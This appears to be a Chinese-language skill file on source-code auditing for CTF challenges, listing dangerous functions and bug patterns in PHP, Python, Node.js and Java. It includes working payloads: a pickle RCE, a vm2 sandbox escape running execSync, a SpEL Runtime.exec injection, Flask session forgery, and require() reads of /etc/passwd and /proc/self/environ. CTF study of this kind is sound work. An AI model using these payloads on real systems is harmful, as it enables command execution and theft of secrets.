| name | ctf-source-audit |
| description | CTF 挑战中的源码审计方法。当发现 .git 目录、.bak/.zip 备份、/proc/self/environ 泄露源码时使用。与真实代码审计不同——CTF 源码中的漏洞是故意设置的,通常只有 1-2 个关键点。先找危险函数(sink),再追溯输入(source)到该函数的路径。覆盖 PHP/Python/Node.js/Java 四种语言的危险函数和漏洞模式 |
| metadata | {"tags":"ctf,source,audit,code review,源码审计,php,python,node,java,代码审计,SAST","category":"ctf"} |
CTF 源码审计方法论
CTF 源码审计 ≠ 真实代码审计。区别:
- 真实审计:几万行代码,漏洞可能在任何地方
- CTF 审计:几十到几百行代码,漏洞是故意设置的,通常很明显
核心策略:找危险函数(sink),然后追溯输入(source)到危险函数的路径。
⛔ 深入参考(必读)
Phase 1: 快速识别语言和框架
| 特征 | 语言/框架 |
|---|
.php 文件、<?php | PHP |
app.py、from flask、import django | Python (Flask/Django) |
package.json、require()、app.js | Node.js (Express) |
pom.xml、.java、@Controller | Java (Spring) |
go.mod、func main() | Go |
Phase 2: 审计流程
2.1 快速定位危险函数
| 语言 | 命令执行 | 反序列化 | 模板注入 | 文件操作 |
|---|
| PHP | system() eval() exec() passthru() | unserialize() | N/A | include() file_get_contents() |
| Python | os.system() eval() exec() subprocess | pickle.loads() yaml.load() | render_template_string() | open() |
| Node.js | child_process.exec() eval() | N/A | EJS/Pug inject | fs.readFile() |
| Java | Runtime.exec() ProcessBuilder | ObjectInputStream | SpEL/FreeMarker | FileInputStream |
→ 完整危险函数清单 → references/dangerous-functions.md
2.2 追踪数据流(sink → source)
- 参数从哪来? —
$_GET, request.args, req.body, @RequestParam
- 有没有过滤? — 搜
filter, sanitize, escape, replace, blacklist
- 过滤能绕过吗? — CTF 中通常有绕过(黑名单遗漏、双重编码、大小写、数组绕过)
2.3 审计产出
- 漏洞类型和位置(文件名+行号)
- 利用方法(构造什么请求触发)
- Flag 获取路径
Phase 3: PHP 常见漏洞模式
弱比较 (== vs ===)
if ($_GET['password'] == '0e123456') { ... }
if (md5($a) == md5($b)) { ... }
if ($a != $b && md5($a) === md5($b)) { ... }
变量覆盖
extract($_GET);
parse_str($str);
$$key = $value;
PHP 类型戏法
intval("123abc") === 123
intval("0x1A") === 0
is_numeric("0x539") → true (PHP 5)
is_numeric("1e5") → true
in_array(0, ['a','b','c']) → true
preg_replace /e (PHP < 7.0)
preg_replace('/.*/e', 'system("id")', '');
反序列化 POP 链
搜索 __wakeup(), __destruct(), __toString() 魔术方法,构造链式调用。
O:4:"User":3:{...}
Phase 4: Python 常见漏洞模式
Flask Session 伪造
flask-unsign --decode --cookie 'SESSION_COOKIE'
flask-unsign --sign --cookie "{'user':'admin'}" --secret 'SECRET_KEY'
Werkzeug Debug PIN 计算
SSTI (Jinja2)
render_template_string(user_input)
Pickle 反序列化 RCE
import pickle, base64, os
class Exploit:
def __reduce__(self):
return (os.system, ('cat /flag.txt',))
payload = base64.b64encode(pickle.dumps(Exploit())).decode()
PyYAML 不安全加载
yaml.load(data)
Phase 5: Node.js 常见漏洞模式
原型链污染
require() 路径穿越
require('../../../etc/passwd');
require('/proc/self/environ');
eval() / vm 逃逸
const {VM} = require("vm2");
const vm = new VM();
vm.run('this.constructor.constructor("return process")().mainModule.require("child_process").execSync("id").toString()');
Phase 6: Java 常见漏洞模式
SpEL 注入 (Spring)
#{T(java.lang.Runtime).getRuntime().exec("id")}
XXE (Java XML 解析)
Java 的 XML 解析器默认不禁用外部实体(需要手动设置),是 XXE 高发区。
反序列化(ObjectInputStream)
搜索 ObjectInputStream.readObject() → 配合 ysoserial 生成 payload。
注意事项
- CTF 源码通常很短(<200行),不要用复杂工具,手动审计即可
- 优先搜索
flag、secret、admin 关键字
- 注意注释中的提示(CTF 出题者有时会留线索)
- 多文件项目:先看路由(
app.py / index.php / app.js),再看控制器逻辑